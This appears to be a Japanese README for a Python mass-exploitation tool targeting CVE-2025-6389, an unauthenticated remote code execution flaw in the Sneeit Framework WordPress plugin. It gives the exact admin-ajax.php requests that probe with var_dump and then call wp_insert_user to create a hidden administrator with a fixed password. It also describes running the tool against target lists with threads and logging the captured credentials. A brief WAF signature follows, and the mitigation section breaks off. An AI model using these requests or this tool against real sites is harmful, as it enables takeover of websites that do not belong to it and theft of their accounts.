CVE-2025-6389

Sneeit Framework <= 8.3 - sneeit_articles_pagination_callback における認証なしリモートコード実行

    _______      ________    ___   ___ ___  _____         __ ____   ___   ___  
  / ____\ \    / /  ____|  |__ \ / _ \__ \| ____|       / /|___ \ / _ \ / _ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) | |__ ______ / /_  __) | (_) | (_) |
 | |      \ \/ / |  __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
 | |____   \  /  | |____    / /_| |_| / /_ ___) |     | (_) |__) | (_) |  / / 
  \_____|   \/   |______|  |____|\___|/____|____/       \___/____/ \___/  /_/  

🧠 概要

CVE-2025-6389 は、WordPress 用 Sneeit Framework プラグインで発見された CVSS 9.8 Critical のリモートコード実行 (RCE) 脆弱性です。

この欠陥は sneeit_articles_pagination_callback() 関数に存在し、ユーザー指定の入力を PHP の call_user_func() に無検証で渡します。認証されていない攻撃者は、wp_insert_user を含む任意の PHP 関数を任意の引数で呼び出せ、事実上 完全な管理者アクセスを取得したり、任意のサーバーサイドコードを実行したりできます。

💀 脆弱性の詳細

根本原因は、プラグインの AJAX ハンドラー内での PHP の call_user_func() の誤用です:

// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← User-controlled function name
    $args     = json_decode(stripslashes($_POST['args']), true); // ← User-controlled args

    // Calling ANY PHP function with ANY arguments — zero validation
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

なぜこれが Critical なのか:

• wp_ajax_nopriv_* = ログイン不要で誰でもアクセス可能
• call_user_func($callback, $args) = 任意の関数呼び出し
• 攻撃者は var_dump、system、wp_insert_user、eval または任意の PHP/WordPress 関数を呼び出せます
• 応答が直接返されるため、ブラインドおよび詳細な RCE が可能になります

⚔️ エクスプロイトチェーン

Step 1 — Probe / Fingerprint
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

Expected Response → array(1) { [0]=> string(4) "test" }
  ↓
Confirms: call_user_func() is reachable and reflecting output

──────────────────────────────────────────────────────────────────
Step 2 — Admin Account Creation
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

Result → New administrator account silently created on target
  ↓
Full WordPress admin panel access achieved ✔️

⚙️ 要件

pip install requests rich

Python 3.8+ が必要です。型ヒントは 3.9+ で導入された tuple[...] 構文を使用しています — 最適な互換性のため 3.9+ を使用してください。

📂 ファイル構成

CVE-2025-6389/
├── CVE-2025-6389.py          # Main exploit script
├── list.txt                  # Target URLs — one per line
├── success_results.txt       # Auto-generated: successful targets + credentials
└── debug_responses/          # Auto-generated: raw server responses for debugging
    └── <target>.resp.txt

🚀 使用方法

ステップ 1 — ターゲットを準備

1行に1つのURLを記述した list.txt を作成します:

https://target1.com
https://target2.com
http://target3.com

http:// または https:// のない URL には、自動的に http:// が付加されます。

ステップ 2 — エクスプロイトを実行

python CVE-2025-6389.py

以下のプロンプトが表示されます:

Targets file name (default list.txt): list.txt
Number of threads (default 10):       20

ステップ 3 — ライブダッシュボード

スクリプトは、以下のようなリアルタイムの Rich ダッシュボードを起動します:

┌─────────────────────────────────────────────────────────────────────┐
│  [ASCII BANNER]                                                      │
├──────────────────────────────┬──────────────────────────────────────┤
│  Info                        │  Stats                               │
│  Usage: Put targets in...    │  Total Targets:  150                 │
│  Threads: 20                 │  Processed:      87                  │
│  Password: xplpass           │  Successes:      12                  │
│  Success Log: success...     │  Failures:       75                  │
│  Debug Dir: debug_responses  │  Elapsed:        00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  Recent Results                                                      │
│  Time     Target                              Result                 │
│  14:23:01 https://victim.com                  SUCCESS               │
│  14:23:03 https://example.net                 FAIL                  │
└─────────────────────────────────────────────────────────────────────┘

ステップ 4 — 結果を確認

成功したエクスプロイトは success_results.txt に保存されます:

https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]

デバッグ応答 (失敗したターゲット用) は debug_responses/ に保存されます:

debug_responses/
└── https___victim.com.resp.txt   ← Raw server response for analysis

🖥️ スクリプトパラメータリファレンス

📊 検出シグネチャ

このエクスプロイトは、次のネットワークシグネチャを生成します — 防御側や WAF ルール作成者にとって有用です:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>

WAF / IDS ルール (擬似コード):

IF request.method == POST
AND request.path  == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT

🛡️ 緩和策と修復

サイト運営者、開発者、防御側の方は、直ちに次の手順を実行してください: